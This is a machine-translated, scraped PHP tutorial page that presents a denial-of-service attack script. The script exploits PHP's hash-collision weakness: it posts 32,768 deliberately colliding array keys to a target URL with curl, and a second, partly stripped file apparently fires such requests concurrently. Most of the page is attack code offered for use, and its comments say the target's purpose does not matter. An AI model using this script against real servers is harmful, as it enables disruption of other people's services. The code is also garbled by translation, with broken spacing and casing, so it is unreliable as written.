Use the hash conflict vulnerability in PHP to launch DDoS attacks _ PHP Tutorial-php Tutorial

Source: Internet
Author: User
Use the hash conflict vulnerability in PHP to launch DDoS attacks. File dos. what is the php target address? $ host127.0.0.1test. php; $ data; $ sizepow (2, 15); for ($ key0, $ max ($ size-1) * $ s file dos. php
// Target address
// What does the target address do if it exists?
$ Host = 'http: // 127.0.0.1/test. php ';

$ Data = '';
$ Size = pow (2, 15 );
For ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size)
{
$ Data. = '& array ['. $ key. '] = 0 ';
}

$ Ret = curl ($ host, ltrim ($ data ,'&'));
Var_dump ($ ret );


Function curl ($ url, $ post, $ timeout = 30 ){
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true );
Curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout );
Curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5 );
Curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('CT :'));
Curl_setopt ($ ch, CURLOPT_URL, $ url );
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post );
$ Output = curl_exec ($ ch );
If ($ output = false) return false;
$ Info = curl_getinfo ($ ch );
$ Http_code = $ info ['http _ Code'];
If ($ http_code = 404) return false;
Curl_close ($ ch );
Return $ output;
}
File ddos. php

[Php]




DDOS



For ($ I = 0; $ I <5; $ I ++) {// concurrency
Echo '';
}
?>




From chaojie2009

Else // target address // as long as the target address exists, don't worry about what it is for $ host = http: // 127.0.0.1/test. php; $ data =; $ size = pow (2, 15); for ($ key = 0, $ max = ($ size-1) * $ s...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.